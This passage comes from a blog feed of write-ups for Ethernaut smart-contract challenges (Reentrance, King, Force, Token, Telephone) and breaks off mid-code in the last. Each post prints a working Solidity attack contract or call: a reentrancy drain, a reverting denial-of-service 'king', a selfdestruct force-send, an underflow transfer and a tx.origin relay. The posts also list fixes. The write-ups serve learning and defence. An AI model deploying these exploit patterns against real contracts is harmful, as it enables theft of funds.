  <span class="hljs-function"><span class="hljs-keyword">receive</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">payable</span></span> </span>{}
}
</code></pre><p>Our contract here serves as a store of value where anyone can deposit funds and withdraw them at any time. Looking at the contract logic, a user should only be able to withdraw up to the amount of funds that they have in their balance.</p><p>The cool thing about reentrancy attacks is that they can allow an attacker to recursively pull out funds. This happens because the balance is only updated <em>after</em> the amount has been sent to the user. Because of this, the attacking contract can call back in to the main contract and withdraw again.</p><h2 id="h-solution" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Solution</h2><p>I created an attacker contract that looks like this</p><pre data-type="codeBlock" text="contract AttackReentrance {
  address payable contractAddress;
  Reentrance reentranceInstance;

  constructor (address payable _contractAddress) {
      contractAddress = _contractAddress;
      reentranceInstance = Reentrance(contractAddress);
  }

  receive () external payable {
      reentranceInstance.withdraw(0.001 ether);
  }

  function donate() public payable {
      contractAddress.call{value: msg.value}(abi.encodeWithSignature(&quot;donate(address)&quot;, address(this)));
  }

  function attack () public payable {
      reentranceInstance.withdraw(0.001 ether);
  }
}
"><code><span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">AttackReentrance</span> </span>{
  <span class="hljs-keyword">address</span> <span class="hljs-keyword">payable</span> contractAddress;
  Reentrance reentranceInstance;

  <span class="hljs-function"><span class="hljs-keyword">constructor</span> (<span class="hljs-params"><span class="hljs-keyword">address</span> <span class="hljs-keyword">payable</span> _contractAddress</span>) </span>{
      contractAddress <span class="hljs-operator">=</span> _contractAddress;
      reentranceInstance <span class="hljs-operator">=</span> Reentrance(contractAddress);
  }

  <span class="hljs-function"><span class="hljs-keyword">receive</span> (<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">payable</span></span> </span>{
      reentranceInstance.withdraw(<span class="hljs-number">0</span><span class="hljs-number">.001</span> <span class="hljs-literal">ether</span>);
  }

  <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">donate</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title"><span class="hljs-keyword">payable</span></span> </span>{
      contractAddress.<span class="hljs-built_in">call</span>{<span class="hljs-built_in">value</span>: <span class="hljs-built_in">msg</span>.<span class="hljs-built_in">value</span>}(<span class="hljs-built_in">abi</span>.<span class="hljs-built_in">encodeWithSignature</span>(<span class="hljs-string">"donate(address)"</span>, <span class="hljs-keyword">address</span>(<span class="hljs-built_in">this</span>)));
  }

  <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">attack</span> (<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title"><span class="hljs-keyword">payable</span></span> </span>{
      reentranceInstance.withdraw(<span class="hljs-number">0</span><span class="hljs-number">.001</span> <span class="hljs-literal">ether</span>);
  }
}
</code></pre><p>With this <code>AttackReentrance</code> contract, I make a donation to the instance of <code>Reentrance</code> first. After that, I call <code>attack</code> which just performs a withdrawal of the amount donated back into <code>AttackReentrance</code>. The special sauce here is the <code>receive</code> callback function. As an aside, I’m finding that fallback functions are extremely versatile for attacking contracts because they force contracts to run my code.</p><p>The <code>receive</code> function then calls withdraw again for <code>0.001 ether</code>. Since the balance is only updated in <code>Reentrance</code> after the transfer has been made, the users balance has not been updated at this point. This means that the next withdrawal will go through and withdrawals will keep happening until the <code>Reentrance</code> instance is completely drained of funds.</p><p>There were some problems that I could not figure out why they were happening here.</p><ol><li><p>When I called <code>donate</code> on my <code>AttackReentrance</code> function, my transactions always ran out of gas when using the estimate from Remix. I had to 10x the gas estimate to ensure the transaction went through which was odd</p></li><li><p>I expected to be able to use <code>call</code> on the contract address instead of initiating an instance of the contract. I was only able to initiate an instance because I had the source code for <code>Reentrance</code>. This call kept failing for me. If someone knows why, please let me know 🤠</p><pre data-type="codeBlock" text="contractAddress.call(abi.encodeWithSignature(&quot;withdraw(uint)&quot;, 1000000));
"><code>contractAddress.<span class="hljs-built_in">call</span>(<span class="hljs-built_in">abi</span>.<span class="hljs-built_in">encodeWithSignature</span>(<span class="hljs-string">"withdraw(uint)"</span>, <span class="hljs-number">1000000</span>));
</code></pre></li></ol><h2 id="h-what-i-learned" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">What I learned</h2><ol><li><p>Reentrancy problems are pretty simple to avoid using something like <code>ReentrancyGuard</code> from OpenZeppelin. However, it is really cool to see how they work and see in practice how dangerous they can be</p></li></ol>]]></content:encoded>
            <author>banky@newsletter.paragraph.com (0xbanky)</author>
        </item>
        <item>
            <title><![CDATA[Ethernaut 7: King]]></title>
            <link>https://paragraph.com/@banky/ethernaut-7-king</link>
            <guid>hev0Vg2ElgHal6L9wweq</guid>
            <pubDate>Thu, 18 Aug 2022 04:23:24 GMT</pubDate>
            <description><![CDATA[My solution to the 7th ethernaut challenge. This was so far the most difficult challenge for me https://ethernaut.openzeppelin.com/level/0x43BA674B4fbb8B157b7441C2187bCdD2cdF84FD5InvestigationWe are given a fun little ponzi scheme contract. The contract stores a prize in ether which can be gained by playing the game. To get the prize, simply send more ether to the contract and the new ether amount becomes the new prize. The contract will then set your address as the new king.// SPDX-License-I...]]></description>
            <content:encoded><![CDATA[<p>My solution to the 7th ethernaut challenge. This was so far the most difficult challenge for me</p><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://ethernaut.openzeppelin.com/level/0x43BA674B4fbb8B157b7441C2187bCdD2cdF84FD5">https://ethernaut.openzeppelin.com/level/0x43BA674B4fbb8B157b7441C2187bCdD2cdF84FD5</a></p><h2 id="h-investigation" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Investigation</h2><p>We are given a fun little ponzi scheme contract. The contract stores a prize in ether which can be gained by playing the game. To get the prize, simply send more ether to the contract and the new ether amount becomes the new prize. The contract will then set your address as the new <code>king</code>.</p><pre data-type="codeBlock" text="// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract King {

  address payable king;
  uint public prize;
  address payable public owner;

  constructor() public payable {
    owner = msg.sender;  
    king = msg.sender;
    prize = msg.value;
  }

  receive() external payable {
    require(msg.value &gt;= prize || msg.sender == owner);
    king.transfer(msg.value);
    king = msg.sender;
    prize = msg.value;
  }

  function _king() public view returns (address payable) {
    return king;
  }
}
"><code><span class="hljs-comment">// SPDX-License-Identifier: MIT</span>
<span class="hljs-meta"><span class="hljs-keyword">pragma</span> <span class="hljs-keyword">solidity</span> ^0.6.0;</span>

<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">King</span> </span>{

  <span class="hljs-keyword">address</span> <span class="hljs-keyword">payable</span> king;
  <span class="hljs-keyword">uint</span> <span class="hljs-keyword">public</span> prize;
  <span class="hljs-keyword">address</span> <span class="hljs-keyword">payable</span> <span class="hljs-keyword">public</span> owner;

  <span class="hljs-function"><span class="hljs-keyword">constructor</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title"><span class="hljs-keyword">payable</span></span> </span>{
    owner <span class="hljs-operator">=</span> <span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>;  
    king <span class="hljs-operator">=</span> <span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>;
    prize <span class="hljs-operator">=</span> <span class="hljs-built_in">msg</span>.<span class="hljs-built_in">value</span>;
  }

  <span class="hljs-function"><span class="hljs-keyword">receive</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">payable</span></span> </span>{
    <span class="hljs-built_in">require</span>(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">value</span> <span class="hljs-operator">></span><span class="hljs-operator">=</span> prize <span class="hljs-operator">|</span><span class="hljs-operator">|</span> <span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span> <span class="hljs-operator">=</span><span class="hljs-operator">=</span> owner);
    king.<span class="hljs-built_in">transfer</span>(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">value</span>);
    king <span class="hljs-operator">=</span> <span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>;
    prize <span class="hljs-operator">=</span> <span class="hljs-built_in">msg</span>.<span class="hljs-built_in">value</span>;
  }

  <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">_king</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title"><span class="hljs-keyword">view</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">address</span> <span class="hljs-keyword">payable</span></span>) </span>{
    <span class="hljs-keyword">return</span> king;
  }
}
</code></pre><p>The goal is to gain the <code>king</code> status and make it so that nobody else can become the new <code>king</code>. First, to test things out, I sent some ether to the contract and this indeed made my wallet address the new <code>king</code>. However, on submitting the contract, the owner steals back the <code>king</code> status. So I needed something more drastic.</p><h2 id="h-solution" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Solution</h2><p>After giving this some thought, I found that the key here is to take advantage of the fact that whenever someone new tries to become the new <code>king</code>, the contract has to send all of its ether to the current <code>king</code>. This would be fine if the funds were being sent to a regular wallet, but if I make a contract the current <code>king</code>, then the EVM will be forced to run code in my contract when the funds are sent. To demonstrate this, I created an <code>AttackKing</code> contract that looks like this</p><pre data-type="codeBlock" text="contract AttackKing {
    address payable kingInstanceAddress;
    King kingInstance;

    constructor(address payable kingAddress) {
        kingInstanceAddress = kingAddress;
        kingInstance = King(kingAddress);
    }

    receive () external payable {
        // Revert when anyone else tries to become king
        if (msg.sender == kingInstanceAddress) {
            revert(&quot;Not letting you take my kingship&quot;);
        }
    }

    function attack () payable public {
        uint currentPrize = kingInstance.prize();
        require(msg.value &gt; currentPrize, &quot;Not enough ether sent&quot;);

        (bool success, ) = kingInstanceAddress.call{value: msg.value}(&quot;&quot;);
        require(success, &quot;Transfer failed.&quot;);
    }
}
"><code><span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">AttackKing</span> </span>{
    <span class="hljs-keyword">address</span> <span class="hljs-keyword">payable</span> kingInstanceAddress;
    King kingInstance;

    <span class="hljs-function"><span class="hljs-keyword">constructor</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> <span class="hljs-keyword">payable</span> kingAddress</span>) </span>{
        kingInstanceAddress <span class="hljs-operator">=</span> kingAddress;
        kingInstance <span class="hljs-operator">=</span> King(kingAddress);
    }

    <span class="hljs-function"><span class="hljs-keyword">receive</span> (<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">payable</span></span> </span>{
        <span class="hljs-comment">// Revert when anyone else tries to become king</span>
        <span class="hljs-keyword">if</span> (<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span> <span class="hljs-operator">=</span><span class="hljs-operator">=</span> kingInstanceAddress) {
            <span class="hljs-keyword">revert</span>(<span class="hljs-string">"Not letting you take my kingship"</span>);
        }
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">attack</span> (<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">payable</span></span> <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
        <span class="hljs-keyword">uint</span> currentPrize <span class="hljs-operator">=</span> kingInstance.prize();
        <span class="hljs-built_in">require</span>(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">value</span> <span class="hljs-operator">></span> currentPrize, <span class="hljs-string">"Not enough ether sent"</span>);

        (<span class="hljs-keyword">bool</span> success, ) <span class="hljs-operator">=</span> kingInstanceAddress.<span class="hljs-built_in">call</span>{<span class="hljs-built_in">value</span>: <span class="hljs-built_in">msg</span>.<span class="hljs-built_in">value</span>}(<span class="hljs-string">""</span>);
        <span class="hljs-built_in">require</span>(success, <span class="hljs-string">"Transfer failed."</span>);
    }
}
</code></pre><p>I deployed this contract and called the <code>attack</code> function with some ether. This then transfers ether to the deployed <code>King</code> contract, thus taking ownership of it. Verifying this:</p><pre data-type="codeBlock" text="await contract._king()
// &quot;0x051E33DB81D1a59b4a411510D6E826A4B1C2Bb07&quot; &lt;- My contract!
"><code>await <span class="hljs-keyword">contract</span>._king()
<span class="hljs-comment">// "0x051E33DB81D1a59b4a411510D6E826A4B1C2Bb07" &#x3C;- My contract!</span>
</code></pre><p>When the owner of <code>King</code> tries to take the <code>king</code> status back, the contract tries to send ether to my exploit contract which reverts the entire call stack and the transaction fails 😏.</p><h2 id="h-what-i-learned" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">What I learned</h2><ol><li><p>We can send ether with a transaction directly in the Remix IDE by filling in the <code>value</code> field. This was a bit annoying because it doesn’t allow decimal places</p></li><li><p>When writing contracts, we need to take special care with ether transfers because transferring ether can mean running untrusted code</p></li><li><p>The current best way to send ether is using the <code>call</code> method. ie.</p><pre data-type="codeBlock" text="kingInstanceAddress.call{value: msg.value}(&quot;&quot;)
"><code>kingInstanceAddress.<span class="hljs-built_in">call</span>{<span class="hljs-built_in">value</span>: <span class="hljs-built_in">msg</span>.<span class="hljs-built_in">value</span>}(<span class="hljs-string">""</span>)
</code></pre><p>Source:</p><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://ethereum.stackexchange.com/questions/19341/address-send-vs-address-transfer-best-practice-usage">https://ethereum.stackexchange.com/questions/19341/address-send-vs-address-transfer-best-practice-usage</a></p></li></ol>]]></content:encoded>
            <author>banky@newsletter.paragraph.com (0xbanky)</author>
        </item>
        <item>
            <title><![CDATA[Ethernaut 6: Force]]></title>
            <link>https://paragraph.com/@banky/ethernaut-6-force</link>
            <guid>cveDYcW8WZ8vMIdbWyN5</guid>
            <pubDate>Tue, 16 Aug 2022 19:52:27 GMT</pubDate>
            <description><![CDATA[My solution for my 6th ethernaut challenge: https://ethernaut.openzeppelin.com/level/0x22699e6AdD7159C3C385bf4d7e1C647ddB3a99eaInvestigationThe code for the contract here is very simple. The contract does not have a receive or fallback function, so it does not intend to receive any ether. The challenge here is to send some ether to the contract unexpectedly.// SPDX-License-Identifier: MIT pragma solidity ^0.6.0; contract Force {/* MEOW ? /\_/\ / ____/ o o \ /~____ =ø= / (______)__m_m) */} I w...]]></description>
            <content:encoded><![CDATA[<p>My solution for my 6th ethernaut challenge:</p><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://ethernaut.openzeppelin.com/level/0x22699e6AdD7159C3C385bf4d7e1C647ddB3a99ea">https://ethernaut.openzeppelin.com/level/0x22699e6AdD7159C3C385bf4d7e1C647ddB3a99ea</a></p><h2 id="h-investigation" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Investigation</h2><p>The code for the contract here is very simple. The contract does not have a <code>receive</code> or <code>fallback</code> function, so it does not intend to receive any ether. The challenge here is to send some ether to the contract unexpectedly.</p><pre data-type="codeBlock" text="// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Force {/*

                   MEOW ?
         /\_/\   /
    ____/ o o \
  /~____  =ø= /
 (______)__m_m)

*/}
"><code><span class="hljs-comment">// SPDX-License-Identifier: MIT</span>
<span class="hljs-meta"><span class="hljs-keyword">pragma</span> <span class="hljs-keyword">solidity</span> ^0.6.0;</span>

<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">Force</span> </span>{<span class="hljs-comment">/*

                   MEOW ?
         /\_/\   /
    ____/ o o \
  /~____  =ø= /
 (______)__m_m)

*/</span>}
</code></pre><p>I was not familiar with any ways of sending ether to a contract without through the fallback methods. In fact, I tried sending funds directly to the contract address with metamask but the transaction <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://rinkeby.etherscan.io/tx/0xa59b868467b78e48974c76566849d78971d97f969985b60ee4c6efcd76baf8aa">failed</a>.</p><p>So, to the docs! Under the section for <code>receive</code>, there is a handy warning about receiving funds</p><blockquote><p>A contract without a receive Ether function can receive Ether as a recipient of a <em>coinbase transaction</em> (aka <em>miner block reward</em>) or as a destination of a <code>selfdestruct</code>.</p></blockquote><p>If the contract address receives a miner block reward or if it is the destination of a <code>selfdestruct</code>, it will always receive that ether even without a fallback function. I was not aware of <code>selfdestruct</code>, so I did some more digging.</p><blockquote><p><code>selfdestruct</code> sends all remaining Ether stored in the contract to a designated address.</p></blockquote><p>This looks very handy. If I can create a new contract, I should be able to use <code>selfdestruct</code> to send the ether in the contract to the one I am interested in attacking</p><h2 id="h-solution" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Solution</h2><p>I created a new solidity contract to attack the contract of interest</p><pre data-type="codeBlock" text="contract ForceSendEther {
    address payable recepient;

    constructor(address payable _recepient) {
        recepient = _recepient;
    }

    receive () external payable {}

    function attack() public {
        selfdestruct(recepient);
    }
}
"><code><span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">ForceSendEther</span> </span>{
    <span class="hljs-keyword">address</span> <span class="hljs-keyword">payable</span> recepient;

    <span class="hljs-function"><span class="hljs-keyword">constructor</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> <span class="hljs-keyword">payable</span> _recepient</span>) </span>{
        recepient <span class="hljs-operator">=</span> _recepient;
    }

    <span class="hljs-function"><span class="hljs-keyword">receive</span> (<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">payable</span></span> </span>{}

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">attack</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
        <span class="hljs-built_in">selfdestruct</span>(recepient);
    }
}
</code></pre><p>I now deployed this contract and sent a little bit of eth to it. Finally, calling the <code>attack</code> function on my contract, I self destruct it and the EVM sends all the eth in the contract to the recipient. Interestingly, the ether shows up in the contract, but there were no transactions indicating it did</p><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://rinkeby.etherscan.io/address/0xFe58aDE3a009C593cF5621dB793f5dBEd403523D">https://rinkeby.etherscan.io/address/0xFe58aDE3a009C593cF5621dB793f5dBEd403523D</a></p><p>I think this has an interesting implication that there is no paper trail when ether is sent to a contract this way.</p><h2 id="h-what-i-learned" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">What I learned</h2><ol><li><p>Even without a fallback function, contract A can still be forced to receive ether if contract B <code>selfdestruct</code>’s and sets contract A as the recipient</p></li><li><p>There is no visible transaction in etherscan indicating that ether was deposited. Rather, the ether just shows up in the new contract. I will investigate this further</p></li></ol>]]></content:encoded>
            <author>banky@newsletter.paragraph.com (0xbanky)</author>
        </item>
        <item>
            <title><![CDATA[Ethernaut 5: Token]]></title>
            <link>https://paragraph.com/@banky/ethernaut-5-token</link>
            <guid>nAr5qnrTTJ65a4ALfYPR</guid>
            <pubDate>Tue, 16 Aug 2022 18:15:05 GMT</pubDate>
            <description><![CDATA[My solution for the fifth ethernaut challenge: https://ethernaut.openzeppelin.com/level/0x63bE8347A617476CA461649897238A31835a32CEInvestigationWe have a Token contract that contains balances for address and a total supply.mapping(address => uint) balances; uint public totalSupply; We have a constructor which initializes a contract instance with a provided supply and gives that entire balance to the contract deployerconstructor(uint _initialSupply) public { balances[msg.sender] = totalSupply =...]]></description>
            <content:encoded><![CDATA[<p>My solution for the fifth ethernaut challenge: <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://ethernaut.openzeppelin.com/level/0x63bE8347A617476CA461649897238A31835a32CE">https://ethernaut.openzeppelin.com/level/0x63bE8347A617476CA461649897238A31835a32CE</a></p><h2 id="h-investigation" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Investigation</h2><p>We have a <code>Token</code> contract that contains balances for address and a total supply.</p><pre data-type="codeBlock" text="mapping(address =&gt; uint) balances;
uint public totalSupply;
"><code><span class="hljs-keyword">mapping</span>(<span class="hljs-keyword">address</span> <span class="hljs-operator">=</span><span class="hljs-operator">></span> <span class="hljs-keyword">uint</span>) balances;
<span class="hljs-keyword">uint</span> <span class="hljs-keyword">public</span> totalSupply;
</code></pre><p>We have a constructor which initializes a contract instance with a provided supply and gives that entire balance to the contract deployer</p><pre data-type="codeBlock" text="constructor(uint _initialSupply) public {
    balances[msg.sender] = totalSupply = _initialSupply;
}
"><code><span class="hljs-function"><span class="hljs-keyword">constructor</span>(<span class="hljs-params"><span class="hljs-keyword">uint</span> _initialSupply</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
    balances[<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>] <span class="hljs-operator">=</span> totalSupply <span class="hljs-operator">=</span> _initialSupply;
}
</code></pre><p>There is a function which allows a transfer from the senders balance to the provided address. It simply checks that there is enough of a balance to be sent in the senders address, deducts the amount from the sender and assigns it to the <code>to</code> address.</p><pre data-type="codeBlock" text="function transfer(address _to, uint _value) public returns (bool) {
    require(balances[msg.sender] - _value &gt;= 0);
    balances[msg.sender] -= _value;
    balances[_to] += _value;
    return true;
}
"><code><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">transfer</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> _to, <span class="hljs-keyword">uint</span> _value</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">bool</span></span>) </span>{
    <span class="hljs-built_in">require</span>(balances[<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>] <span class="hljs-operator">-</span> _value <span class="hljs-operator">></span><span class="hljs-operator">=</span> <span class="hljs-number">0</span>);
    balances[<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>] <span class="hljs-operator">-</span><span class="hljs-operator">=</span> _value;
    balances[_to] <span class="hljs-operator">+</span><span class="hljs-operator">=</span> _value;
    <span class="hljs-keyword">return</span> <span class="hljs-literal">true</span>;
}
</code></pre><p>Notably here, the computation is being done on <code>uint</code> values which can be overflowed. I tried out the <code>transfer</code> function using the Remix IDE and found that I was able to transfer 5 tokens to some other address. This worked since 5 was less than the amount in my wallet (initialized with 20 tokens).</p><h2 id="h-solution" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Solution</h2><p>First, I tried to pass in a negative value to the function. My thinking is that the value would be treated as a <code>uint</code> during smart contract execution, which would be a very large number. This approach does not work though and I got an error from the EVM</p><pre data-type="codeBlock" text="instance.transfer(&quot;0x...&quot;, -10);
// Error encoding arguments: Error: value out-of-bounds (argument=null, value=&quot;-5&quot;, code=INVALID_ARGUMENT, version=abi/5.5.0)
"><code>instance.<span class="hljs-built_in">transfer</span>(<span class="hljs-string">"0x..."</span>, <span class="hljs-number">-10</span>);
<span class="hljs-comment">// Error encoding arguments: Error: value out-of-bounds (argument=null, value="-5", code=INVALID_ARGUMENT, version=abi/5.5.0)</span>
</code></pre><p>So it seems like it wont work to just try passing in a negative number. Thinking about it some more, I noticed that on this line</p><pre data-type="codeBlock" text="require(balances[msg.sender] - _value &gt;= 0);
"><code><span class="hljs-built_in">require</span>(balances[<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>] <span class="hljs-operator">-</span> _value <span class="hljs-operator">></span><span class="hljs-operator">=</span> <span class="hljs-number">0</span>);
</code></pre><p>An integer overflow can also be induced. ie. if I try to send more than I have in my wallet, <code>balances[msg.sender] - _value</code> will actually overflow and return some large value. I tried this out</p><pre data-type="codeBlock" text="instance.transfer(&quot;0x...&quot;, 25);
instance.balanceOf(&quot;&lt;my address&gt;&quot;);
// uint256: balance 115792089237316195423570985008687907853269984665640564039457584007913129639931
"><code>instance.<span class="hljs-built_in">transfer</span>(<span class="hljs-string">"0x..."</span>, <span class="hljs-number">25</span>);
instance.balanceOf(<span class="hljs-string">"&#x3C;my address>"</span>);
<span class="hljs-comment">// uint256: balance 115792089237316195423570985008687907853269984665640564039457584007913129639931</span>
</code></pre><p>My wallet now has several trillions of tokens 🤠</p><h2 id="h-what-i-learned" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">What I learned</h2><ol><li><p>During the investigation, I found that this will actually not be an issue using a newer solidity version to compile our code (0.8.0 and above).</p><blockquote><p>Arithmetic operations revert on underflow and overflow. You can use <code>unchecked { ... }</code> to use the previous wrapping behaviour.</p></blockquote><p>From <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://docs.soliditylang.org/en/latest/080-breaking-changes.html">https://docs.soliditylang.org/en/latest/080-breaking-changes.html</a></p></li><li><p>This issue can be prevented on lower solidity versions with OpenZeppeling <code>SafeMath</code>.</p></li></ol>]]></content:encoded>
            <author>banky@newsletter.paragraph.com (0xbanky)</author>
        </item>
        <item>
            <title><![CDATA[Ethernaut 4: Telephone]]></title>
            <link>https://paragraph.com/@banky/ethernaut-4-telephone</link>
            <guid>j9YM1fcOoQvbWNoiI5Pi</guid>
            <pubDate>Mon, 15 Aug 2022 23:06:37 GMT</pubDate>
            <description><![CDATA[This is my solution to the fourth challenge of ethernaut: https://ethernaut.openzeppelin.com/level/0x0b6F6CE4BCfB70525A31454292017F640C10c768InvestigationThis problem is for a pretty simple contract// SPDX-License-Identifier: MIT pragma solidity ^0.6.0; contract Telephone { address public owner; constructor() public { owner = msg.sender; } function changeOwner(address _owner) public { if (tx.origin != msg.sender) { owner = _owner; } } } It simply has an owner and a function to change the owne...]]></description>
            <content:encoded><![CDATA[<p>This is my solution to the fourth challenge of ethernaut: <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://ethernaut.openzeppelin.com/level/0x0b6F6CE4BCfB70525A31454292017F640C10c768">https://ethernaut.openzeppelin.com/level/0x0b6F6CE4BCfB70525A31454292017F640C10c768</a></p><h2 id="h-investigation" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Investigation</h2><p>This problem is for a pretty simple contract</p><pre data-type="codeBlock" text="// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Telephone {

  address public owner;

  constructor() public {
    owner = msg.sender;
  }

  function changeOwner(address _owner) public {
    if (tx.origin != msg.sender) {
      owner = _owner;
    }
  }
}
"><code><span class="hljs-comment">// SPDX-License-Identifier: MIT</span>
<span class="hljs-meta"><span class="hljs-keyword">pragma</span> <span class="hljs-keyword">solidity</span> ^0.6.0;</span>

<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">Telephone</span> </span>{

  <span class="hljs-keyword">address</span> <span class="hljs-keyword">public</span> owner;

  <span class="hljs-function"><span class="hljs-keyword">constructor</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
    owner <span class="hljs-operator">=</span> <span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>;
  }

  <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">changeOwner</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> _owner</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
    <span class="hljs-keyword">if</span> (<span class="hljs-built_in">tx</span>.<span class="hljs-built_in">origin</span> <span class="hljs-operator">!</span><span class="hljs-operator">=</span> <span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>) {
      owner <span class="hljs-operator">=</span> _owner;
    }
  }
}
</code></pre><p>It simply has an owner and a function to change the owner. When we change the owner, we only allow it to get changed if <code>tx.origin</code> is not the current caller of the function. I did not know what <code>tx.origin</code> was, so after some googling I found an answer. It is the first non-contract address that called the function. ie. in a call chain that looks like this:</p><p>A → B → C → D</p><p>A user <code>A</code> makes a call to contract <code>B</code>, which calls a function on contract <code>C</code> that calls something on contract <code>D</code>. In this chain, if we chack <code>tx.origin</code> on contract <code>D</code>, it will be <code>A</code> . However, the <code>msg.sender</code> will be <code>C</code>.</p><h2 id="h-solution" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Solution</h2><p>To solve this problem, I needed to call the <code>changeOwner</code> function through a relay contract. This way, <code>tx.origin</code> will be my wallet, and <code>msg.sender</code> will be the address of the relay contract. I created, compiled and deployed the relay contract using the Remix IDE</p><pre data-type="codeBlock" text="pragma solidity ^0.6.0;

contract TelephoneRelay {

    function relay () public {
        address addr = 0x4F9f093efd94c7b81f954Bd7648805a98b5Ce230;
        (bool success, bytes memory result) = addr.call(abi.encodeWithSignature(&quot;changeOwner(address)&quot;, msg.sender));

        require(success, &quot;Relay not successful&quot;);
    }
}
"><code><span class="hljs-meta"><span class="hljs-keyword">pragma</span> <span class="hljs-keyword">solidity</span> ^0.6.0;</span>

<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">TelephoneRelay</span> </span>{

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">relay</span> (<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
        <span class="hljs-keyword">address</span> addr <span class="hljs-operator">=</span> <span class="hljs-number">0x4F9f093efd94c7b81f954Bd7648805a98b5Ce230</span>;
